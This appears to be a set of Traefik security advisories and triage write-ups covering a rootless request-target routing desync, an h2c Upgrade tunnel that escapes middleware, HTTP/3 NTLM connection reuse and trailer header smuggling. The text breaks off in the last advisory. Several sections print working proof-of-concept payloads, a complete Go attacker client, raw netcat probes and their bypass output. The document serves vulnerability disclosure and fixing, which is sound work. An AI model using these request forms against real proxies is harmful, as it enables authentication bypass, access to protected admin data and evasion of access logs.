Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absoluteform control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.
B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend
Topology: nginx with a defaultserver returning PUBLIC-VHOST and a servername internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.
B1. Cross-vhost + log evasion (stock defaults): === request-target sent: '/' PUBLIC-VHOST uri=/ host=app.example.com
=== request-target sent: 'http:http://internal-vhost/admin' INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost Traefik access log for those same three requests: "GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms "GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms "GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms
B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true): === request-target sent: '/admin%2f..%2fsecret' HTTP/1.1 400 Bad Request <- canonical path: protection fires
=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret' HTTP/1.1 200 OK INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost <- same payload, protection never fires
B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin): === request-target sent: '/admin' -> 403 DENY === request-target sent: 'http:/admin' -> 403 DENY === request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost Auth-service log confirms the decision flip: 403, 403, 200.
Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
(truncated ; full analysis in the linked internal report)
Reproduction (J18, F20)
Three Go probes were written into pkg/server/ of the checkout (named zzscanpocJ18test.go) and deleted afterwards; git status confirms no zzscanpocJ18 file remains and the checkout is still on v3.7 @ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.
Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.
cd /Users/emile/go/src/github.com/traefik/traefik go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN TestJ18RootlessRequestTarget/GEThttp:admin/secretHTTP/1.1 --> raw request line: "GET http:admin/secret HTTP/1.1" in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- response: "HTTP/1.1 200 OK\r" <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GEThttp:admin%2FsecretHTTP/1.1 in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/" <-- routers matched: [router-app(NO AUTH)] <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"] === RUN TestJ18RootlessRequestTarget/GET/admin/secretHTTP/1.1 (control) <-- routers matched: [router-admin(AUTH)] <-- response: "HTTP/1.1 401 Unauthorized\r" PASS
The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.
Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.
go test -run TestJ18BackendTolerance ./pkg/server/ -v # Go net/http + fasthttp v1.69.0 docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)" docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000 docker run -d --rm -p 18122:8080 tomcat:9.0.120 printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
| Origin | GET admin/secret HTTP/1.1 | GET /admin/secret HTTP/1.1 (control) | |---|---|---| | Go net/http | HTTP/1.1 400 Bad Request | 200, Path="/admin/secret" | | nginx:alpine | HTTP/1.1 400 Bad Request | 404 (resolved) | | httpd:alpine | HTTP/1.1 400 Bad Request | 404 (resolved) | | Node.js (llhttp) | HTTP/1.1 400 Bad Request | HTTP/1.1 200 OK | | Tomcat 9.0.120 | HTTP/1.1 400 | 404 (resolved) | | Python http.server | accepted (404, no 400) | 404 | | fasthttp v1.69.0 | 200 OK, Path="/admin/secret" | 200, Path="/admin/secret" |
fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".
Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMINPANELSECRET at /admin/secret.
go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1" => 401 basicAuth required "GET http:admin/secret HTTP/1.1" => Server: fasthttp ... ADMINPANELSECRET "GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMINPANELSECRET
The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.
Second affected site (J18)
The finding is mechanically correct and fully reproduced end to end, including the auth bypass.
A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:
- denyFragment inspects URL.RawPath (empty) and passes. - normalizePath returns early on empty RawPath. - sanitizePath calls URL.JoinPath(), which rewrites Path to "/" and leaves Opaque untouched, then sets RequestURI = URL.RequestURI() = "admin/secret". - withRoutingPath (pkg/muxer/http/mux.go:139) derives the routing path from req.URL.EscapedPath(), which ignores Opaque, so every Path / PathPrefix / PathRegexp matcher evaluates against "/". - Both proxies copy the URL wholesale and never clear Opaque, so the outgoing request line is the attacker's target verbatim.
Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.
Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.
Documentation grounding
Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.
The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.
This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.
Precedent in comparable projects
Searched data/competitors/.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.
| Product | ID | Severity | Framing | Fix shape | |---|---|---|---|---| | Caddy | CVE-2026-27587 | HIGH | MatchPath's %xx (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. | | Caddy | CVE-2026-27588 | HIGH | MatchHost becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. | | Envoy | CVE-2021-32779 | high | #fragment treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. | | Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of %2F before matching. | | Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy's routing view diverge from the backend's. | Add normalization. | | Envoy | CVE-2023-27491 | medium | Envoy forwards invalid HTTP/2 and HTTP/3 downstream headers to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. | | Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. | | HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |
(truncated ; full analysis in the linked internal report)
Recommended fix
Assign for fix, and treat as CVE-worthy.
1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In pkg/proxy/httputil/proxy.go, next to the Path/RawPath assignments: go pr.Out.URL.Opaque = "" and in pkg/proxy/fast/proxy.go, on the u2 := req.URL copy before outReq.SetRequestURI(u2.RequestURI()). This alone closes the forwarding half. 2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-CONNECT requests, require req.URL.Opaque == "" and an EscapedPath() beginning with /, or normalize the true absolute-form case by promoting the authority into req.Host. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, sanitizePath still rewrites RequestURI to the attacker's authority-bearing form and the access log still records /. 3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point. 4. Consider reporting the ReverseProxy omission upstream to Go as well, since NewSingleHostReverseProxy has the same gap, but do not make the Traefik fix wait on it. 5. If filed as an advisory, use cluster slug opaque-request-target-forwarding and note that the fix must land on the fast proxy in the same PR.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding ids : F4, F20. Internal report : findings/scan-20260824/verdicts/J04.md, J18.md in the security-advisor repository.
</details> ---
Summary
There is a high-severity request-smuggling vulnerability in Traefik's handling of the HTTP/1.1 Upgrade mechanism. Since Traefik moved to unencrypted HTTP/2 with prior knowledge (Go 1.24), a client-initiated Upgrade: h2c request header and its connection-specific HTTP2-Settings header were forwarded to the backend. A backend that honours the h2c upgrade and answers 101 Switching Protocols puts Traefik into a raw byte tunnel that bypasses the router and the entire middleware chain (authentication, IPAllowList, rate limiting) on a shared backend. The fix stops forwarding the Upgrade: h2c token and the HTTP2-Settings header; Upgrade: websocket is unaffected. Exploitation requires a backend that upgrades h2c without validating the Connection listing; common off-the-shelf servers were not exploitable in testing.
Traefik v3.4.2 through v3.6 are end-of-life and are also affected; users on those versions must upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's default HTTP reverse proxy forwards arbitrary Connection: Upgrade / Upgrade: <token> requests to the backend. Upgrade tokens are not restricted to protocols explicitly supported by Traefik.
This is exploitable when a backend accepts a non-WebSocket upgrade such as h2c and responds with 101 Switching Protocols. Traefik then switches the connection into a raw byte tunnel and stops applying the HTTP routing/middleware chain.
An attacker can abuse an unprotected router pointing to the backend to establish the tunnel, then send HTTP/2 requests to other paths on the same backend. Those requests bypass the Traefik router and are therefore not subject to middleware attached to the corresponding protected route.
For example:
text /public /admin (no auth) (BasicAuth) | | +----------- same backend ------+ ^ | h2c tunnel | attacker
This allows middleware such as BasicAuth, ForwardAuth, IPAllowList, and RateLimit to be bypassed. Requests sent over the tunnel also bypass Traefik's normal access logging, metrics, and tracing.
The core issue is unrestricted client-initiated protocol upgrades combined with loss of the HTTP routing/middleware layer after 101 Switching Protocols.
Technical Details
The default proxy implementation is pkg/proxy/httputil (the fast proxy remains experimental and is disabled by default).
The relevant request path is:
pkg/middlewares/forwardedheaders/forwardedheader.go (removeConnectionHeaders, ~lines 198-234)
When Connection: Upgrade is present, the Upgrade header is preserved and forwarded downstream. There is no validation that the upgrade token is websocket.
pkg/proxy/httputil/proxy.go (isWebSocketUpgrade, ~line 170)
WebSocket receives special header handling through cleanWebSocketHeaders, but this is not an allowlist. Other upgrade protocols are still passed through.
pkg/server/service/smartroundtripper.go (RoundTrip, ~line 56)
Requests containing Connection: Upgrade are sent to the backend over HTTP/1, allowing the backend to perform the upgrade.
net/http/httputil.ReverseProxy
When the backend returns 101 Switching Protocols, the reverse proxy switches to tunnel mode and copies bytes between the client and backend.
The security boundary breaks at this point.
The Traefik router and middleware chain are selected only for the initial HTTP/1 request. After the backend returns 101, Traefik no longer parses the connection as HTTP requests and does not re-run routing or middleware for subsequent HTTP/2 streams.
The resulting flow is:
text Attacker | | GET /public | Connection: Upgrade | Upgrade: h2c v Traefik | | r-public (no auth) v Backend | | 101 Switching Protocols v [raw byte tunnel] | | HTTP/2 GET /admin v Backend
The /admin request never reaches the /admin router. It is sent directly to the backend over the existing tunnel.
I found no upgrade-token allowlist or h2c rejection in the relevant proxy path.
This is distinct from configured h2c support
Traefik already supports explicitly configured h2c backends. In that case, the operator opts into HTTP/2 communication through the h2c:// service scheme / transportH2C configuration.
This issue is different.
The upgrade is initiated by the client through the Upgrade header. Traefik forwards it regardless of whether the operator configured h2c for that backend.
Therefore, a plain HTTP/1 backend can still be affected if it happens to accept Upgrade: h2c and return 101. The protocol switch is initiated by the client, and Traefik does not gate it.
PoC
Reproduced against a Traefik binary built from master at commit 9bb0e55:
text go build ./cmd/traefik Go 1.26.4
Default configuration was used, with no encodedCharacters or upgrade-related options enabled.
1. Backend
The backend implements a minimal HTTP/1.1 → h2c upgrade handler.
It exposes:
/public — unauthenticated /admin — intended to be protected by Traefik
go package main
import ( "bufio" "fmt" "net" "net/http" "strings"
"golang.org/x/net/http2" )
func main() { mux := http.NewServeMux()
mux.HandleFunc("/public", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "public ok\n") })
mux.HandleFunc("/admin", func(w http.ResponseWriter, r http.Request) { fmt.Fprintf( w, "ADMIN SECRET DATA (proto=%s path=%s)\n", r.Proto, r.URL.Path, ) })
h2s := &http2.Server{}
ln, := net.Listen("tcp", "127.0.0.1:9900")
for { c, err := ln.Accept() if err != nil { return }
go func(conn net.Conn) { br := bufio.NewReader(conn) var sb strings.Builder
for { line, err := br.ReadString('\n') if err != nil { return }
sb.WriteString(line)
if line == "\r\n" { break } }
if strings.Contains(sb.String(), "Upgrade: h2c") { conn.Write([]byte( "HTTP/1.1 101 Switching Protocols\r\n" + "Connection: Upgrade\r\n" + "Upgrade: h2c\r\n\r\n", ))
h2s.ServeConn(conn, &http2.ServeConnOpts{ Handler: mux, })
return }
conn.Close() }(c) } }
2. Traefik configuration
traefik.yml:
yaml entryPoints: web: address: "127.0.0.1:9080"
providers: file: filename: "dynamic.yml"
dynamic.yml:
yaml http: routers: r-public: rule: "PathPrefix(/public)" entryPoints: ["web"] service: svc
r-admin: rule: "PathPrefix(/admin)" entryPoints: ["web"] service: svc middlewares: ["adminauth"]
middlewares: adminauth: basicAuth: users: - "admin:$2a$10$J33WYF/FCnoWm7PPeEG7leme9d.MioVmaTgJ49MemNXJtdbEyqfs."
services: svc: loadBalancer: servers: - url: "http://127.0.0.1:9900"
Both routers terminate on the same backend. Only /admin has authentication.
3. Attacker
The PoC first verifies that /admin is protected, then establishes an unauthenticated h2c tunnel through /public and sends /admin over the resulting HTTP/2 connection.
go package main
import ( "fmt" "io" "net" "net/http" "strings" "time"
"golang.org/x/net/http2" )
func main() { front := "127.0.0.1:9080"
resp, := http.Get("http://" + front + "/admin") b, := io.ReadAll(resp.Body) resp.Body.Close()
fmt.Printf( "[1] Direct GET /admin (no creds) -> %d %q\n", resp.StatusCode, strings.TrimSpace(string(b)), )
raw, := net.Dial("tcp", front)
raw.Write([]byte( "GET /public HTTP/1.1\r\n" + "Host: x\r\n" + "Connection: Upgrade, HTTP2-Settings\r\n" + "Upgrade: h2c\r\n" + "HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA\r\n" + "\r\n", ))
buf := make([]byte, 256)
raw.SetReadDeadline(time.Now().Add(3 time.Second)) n, := raw.Read(buf)
fmt.Printf( "[2] Upgrade: h2c to /public (no auth) -> %q\n", strings.SplitN(string(buf[:n]), "\r\n", 2)[0], )
raw.SetReadDeadline(time.Time{})
cc, := (&http2.Transport{}).NewClientConn(raw)
req, := http.NewRequest("GET", "http://x/admin", nil)
r2, := cc.RoundTrip(req) b2, := io.ReadAll(r2.Body) r2.Body.Close()
fmt.Printf( "[3] HTTP/2 GET /admin over tunnel -> %d %q\n", r2.StatusCode, strings.TrimSpace(string(b2)), ) }
Result
text [1] Direct GET /admin (no creds) -> 401 "401 Unauthorized" [2] Upgrade: h2c to /public (no auth) -> "HTTP/1.1 101 Switching Protocols" [3] HTTP/2 GET /admin over tunnel -> 200 "ADMIN SECRET DATA (proto=HTTP/2.0 path=/admin)"
This demonstrates the bypass:
Direct /admin → 401 Unauthenticated /public → 101 /admin over the established h2c tunnel → 200
The PoC therefore shows that the /admin middleware is enforced for normal requests but is completely bypassed once the attacker establishes the upgrade tunnel.
Impact
The issue is exploitable when:
1. An attacker can reach a router without the relevant security middleware. 2. That router points to the same backend as a protected router. 3. The backend accepts Upgrade: h2c and returns 101 Switching Protocols. 4. Traefik allows the resulting upgrade to complete.
Under these conditions, an unauthenticated attacker can bypass middleware protecting other paths on the same backend.
Potentially affected middleware includes:
BasicAuth ForwardAuth IPAllowList RateLimit header/security middleware other per-request middleware attached to the protected router
The tunneled requests also bypass Traefik's normal request processing and therefore do not appear as individual requests in the normal access logs, metrics, or tracing pipeline.
The impact is therefore not limited to auth bypass. Depending on the backend, an attacker may reach internal/admin endpoints or perform operations that were intended to be protected by Traefik.
Scope / Preconditions
The backend must support the HTTP/1.1 → h2c upgrade mechanism and return 101 Switching Protocols.
This is not true for every HTTP/2-capable backend.
For example, recent golang.org/x/net/http2/h2c implementations no longer support the HTTP/1.1 upgrade mechanism, so a current Go h2c server using that implementation is not necessarily affected.
Older implementations, non-Go servers, custom h2c handlers, and some gRPC-related stacks may still accept the upgrade.
Therefore, this is not a generic "Traefik + HTTP/2 backend = vulnerable" issue. The backend's ability to accept the client-initiated upgrade is a required prerequisite.
The Traefik-side issue itself does not depend on the operator explicitly configuring h2c: the upgrade is client-initiated, forwarded by Traefik, and followed by a transition out of the HTTP routing/middleware path.
Suggested Fix
The proxy should only forward upgrade protocols explicitly supported and negotiated by Traefik, e.g. WebSocket.
At minimum, unsupported upgrade tokens should be rejected or stripped before forwarding upstream:
text Upgrade: h2c Upgrade: <arbitrary-token>
More generally, Traefik should not treat an arbitrary 101 Switching Protocols response as sufficient to transition into a tunnel unless the requested upgrade protocol is explicitly supported by Traefik.
The relevant security property is:
A client must not be able to select an arbitrary protocol upgrade and thereby escape Traefik's HTTP routing/middleware layer.
TL;DR
Traefik forwards arbitrary client-supplied Upgrade tokens.
If a backend accepts Upgrade: h2c and returns 101, Traefik switches the connection into a raw tunnel. HTTP/2 requests sent through that tunnel are no longer processed by Traefik's routers or middleware.
An attacker can therefore use an unprotected router to establish the tunnel and reach protected paths on the same backend:
text /public (no auth) | | Upgrade: h2c v Traefik | | 101 v raw tunnel | | HTTP/2 GET /admin v Backend | v /admin (middleware bypassed)
In the PoC, a direct unauthenticated request to /admin returns 401, while the same endpoint accessed over the h2c tunnel returns 200.
The root cause is unrestricted client-initiated protocol upgrades combined with the loss of Traefik's HTTP routing/middleware enforcement after 101 Switching Protocols.
</details> ---
Summary
Traefik's HTTP/3 request path did not initialize the connection-scoped backend transport holder that isolates connection-bound NTLM and Negotiate (Kerberos) authentication on the HTTP/1.1 and HTTP/2 paths. The HTTP/3 entrypoint reuses the HTTPS handler chain and reaches the same backend round-tripper, but its ConnContext never called service.AddTransportOnContext, so kerberosRoundTripper fell back to the shared backend transport instead of a per-frontend-connection pool. On a route served over HTTP/3 to a backend that binds identity to a persistent connection via NTLM or Negotiate, an unrelated HTTP/3 client could be assigned a backend connection already authenticated as a victim and inherit that identity, reading victim-only data and performing actions as the victim without presenting the victim's credentials. Affected deployments require HTTP/3 enabled on the entrypoint, a backend using connection-bound NTLM/Negotiate authentication, and backend keep-alive; deployments using ordinary per-request authentication are not affected.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.57 - https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik HTTP/3 Backend NTLM Connection Reuse
Summary Traefik's HTTP/3 request path does not initialize the connection-scoped backend transport state that Traefik uses to isolate connection-bound NTLM and Negotiate authentication for HTTP/1.1 and HTTP/2. When a backend keeps authenticated identity on a persistent HTTP/1.1 TCP connection, an unrelated HTTP/3 client can reuse a victim-authenticated backend connection and inherit that backend identity.
In the attached reproduction, the HTTPS/HTTP/1.1 control case behaves correctly and isolates the attacker, but the HTTP/3 case allows a second unauthenticated client to read victim-only data and execute a state-changing request as actor=victim.
Validated target: - Repository: traefik/traefik - Commit: f2d0794417e4d06343e6e7c4722143f5b34bee45 - Validation time: 2026-08-25T06:48:02Z - Commit time: 2026-08-24T08:26:06Z - Patched status: not evaluated
Details The issue is caused by a protocol-parity gap between the normal TCP HTTP entrypoint path and the HTTP/3 entrypoint path.
For HTTP/1.1 and HTTP/2, Traefik explicitly creates a connection-scoped holder that can later store a dedicated RoundTripper for NTLM or Negotiate:
go // pkg/server/serverentrypointtcp.go:691-703 var connContext multipleConnContext connContext.AddConnContextFunc(func(ctx context.Context, c net.Conn) context.Context { // This adds an empty struct in order to store a RoundTripper in the ConnContext in case of Kerberos or NTLM. ctx = service.AddTransportOnContext(ctx)
if tlsConn, ok := c.(tls.Conn); ok { if tlsConnWithOptionsName, ok := tlsConn.NetConn().(tcp.TLSConn); ok { return tcp.AddTLSOptionsNameInContext(ctx, tlsConnWithOptionsName.TLSOptionsName) } }
return ctx })
That helper installs the per-connection holder, and kerberosRoundTripper depends on it. If the holder is absent, it falls back to the shared original backend transport. If NTLM or Negotiate is detected, it stores a dedicated cloned RoundTripper into that holder so future requests stay on the authenticated backend connection:
go // pkg/server/service/transport.go:374-402 func AddTransportOnContext(ctx context.Context) context.Context { return context.WithValue(ctx, transportKey, &stickyRoundTripper{}) }
type kerberosRoundTripper struct { new func() http.RoundTripper OriginalRoundTripper http.RoundTripper }
func (k kerberosRoundTripper) RoundTrip(request http.Request) (http.Response, error) { value, ok := request.Context().Value(transportKey).(stickyRoundTripper) if !ok { return k.OriginalRoundTripper.RoundTrip(request) }
if value.RoundTripper != nil { return value.RoundTripper.RoundTrip(request) }
resp, err := k.OriginalRoundTripper.RoundTrip(request)
// If we found that we are authenticating with Kerberos (Negotiate) or NTLM. // We put a dedicated roundTripper in the ConnContext. // This will stick the next calls to the same connection with the backend. if err == nil && containsNTLMorNegotiate(resp.Header.Values("WWW-Authenticate")) { value.RoundTripper = k.new() } return resp, err }
For HTTP/3, the server reuses the normal HTTPS handler chain, but its ConnContext only propagates the TLS options name and does not call service.AddTransportOnContext:
go // pkg/server/serverentrypointtcphttp3.go:65-80 h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient}, QUICConfig: &quic.Config{ Allow0RTT: false, }, ConnContext: func(ctx context.Context, c quic.Conn) context.Context { tlsOptionsName, err := h3.getTLSOptionsName(c) if err != nil { log.Error().Msgf("Error getting TLS options name for client: %v", err) return ctx } return tcp.AddTLSOptionsNameInContext(ctx, tlsOptionsName) }, }
This means HTTP/3 requests reach the same reverse-proxy and backend transport logic as HTTPS, but without the connection-scoped transport holder that NTLM and Negotiate isolation relies on.
In practice, the flow is: 1. A victim authenticates through Traefik to a backend that binds identity to the backend TCP connection using NTLM or Negotiate. 2. Because the HTTP/3 request context does not contain transportKey, kerberosRoundTripper uses the shared OriginalRoundTripper. 3. No frontend-connection-specific dedicated backend pool is installed for that HTTP/3 client. 4. A second unrelated HTTP/3 client can be assigned the same backend TCP connection after the victim has authenticated it. 5. That second client inherits the victim's backend identity without sending the victim's credentials.
The attached verifier demonstrates both the negative control and the exploit path: - HTTPS/HTTP/1.1 control case: the attacker uses a separate frontend connection and correctly receives 401 - HTTP/3 exploit case: the attacker uses a separate HTTP/3 client with no Authorization header, reads resource=secret actor=victim, executes action=transfer actor=victim to=attacker amount=5000, and hits the same backend TCP connection identifier as the victim
PoC
See the reproduction materials at: https://gist.github.com/OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895
The gist can also be downloaded as a ZIP archive.
Files included in this gist: - run.sh - Dockerfile - .dockerignore - go.mod - go.sum - verify.go
The package is intentionally kept as a single-container reproduction: 1. run.sh builds a local image for the pinned target commit 2. the Dockerfile builds both Traefik and the verifier during image build 3. the container runs the verifier directly as its entrypoint 4. the verifier starts a synthetic backend, launches Traefik, runs the HTTPS/HTTP/1.1 control case, then runs the HTTP/3 exploit case
Run:
bash ./run.sh
run.sh defaults to the validated commit above. To override it explicitly:
bash PRODUCTCOMMIT=f2d0794417e4d06343e6e7c4722143f5b34bee45 ./run.sh
Expected terminal result:
text REPRODUCED: HTTP/1.1 isolates the authenticated backend connection, but HTTP/3 reuses the victim-authenticated backend connection for a different client and executes an unauthorized state-changing request as the victim.
Important observed behavior from the PoC: - the HTTP/1.1 control case succeeds only if a fresh attacker connection receives 401 - the HTTP/3 exploit case succeeds only if the attacker reads victim-only data without sending Authorization - the HTTP/3 exploit case succeeds only if the attacker performs /transfer?to=attacker&amount=5000 as actor=victim - the HTTP/3 exploit case succeeds only if the attacker uses the same backend TCP connection identifier as the victim
Environment notes: - Docker is required - the build fetches the target Traefik source from GitHub - no production credentials or external NTLM service are required; the verifier includes a synthetic NTLM-like backend specifically to demonstrate connection-bound identity reuse
Impact This is a cross-client authorization bypass affecting deployments that expose HTTP/3 routes to backends using connection-bound NTLM or Negotiate authentication with persistent backend connection reuse.
In the verified reproduction, an unauthenticated second client can: - read victim-only data - perform a state-changing action as the victim - reuse a backend TCP connection that has already been authenticated as the victim
Attack prerequisites: - HTTP/3 enabled on the Traefik entrypoint - a routed backend using connection-bound NTLM or Negotiate authentication - backend keep-alive and backend connection reuse enabled - the attacker can reach the same route as the victim
Deployments using ordinary per-request authentication are not affected by this specific issue.
</details> ---
Summary
Traefik's entrypoint defenses against spoofed trusted header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the default forwardedHeaders stripping of client-supplied X-Forwarded- — scan req.Header only and never req.Trailer. An unauthenticated client can therefore smuggle a sanitized name (an aliasing spelling such as XAuthUser, or a trusted name such as X-Forwarded-Prefix) as an HTTP/1.1 chunked trailer or an HTTP/2 trailer: reject does not return its documented 400, delete does not remove the name, and Traefik's reverse proxy forwarded the trailer to the backend — with an attacker-chosen value whenever a body-buffering middleware (the retry middleware with status codes, or the buffering middleware) reads the body before the proxy clone. Backends that merge trailers into their header namespace then act on the smuggled name. The fix stops forwarding request trailer values to the backend; the declared trailer names are still forwarded as permitted by RFC 9110 section 6.6.2.
Traefik v2 is not affected: the defect is in the custom reverse proxy introduced in v3 (pkg/proxy/httputil), and v2 uses the Go standard library's httputil.ReverseProxy, which does not forward request trailer values to the backend. Affected v3 lines from v3.2.0 through v3.7.12 include the end-of-life v3.2 through v3.6 lines, which will not receive a fix on their own line; the remedy for those users is to upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
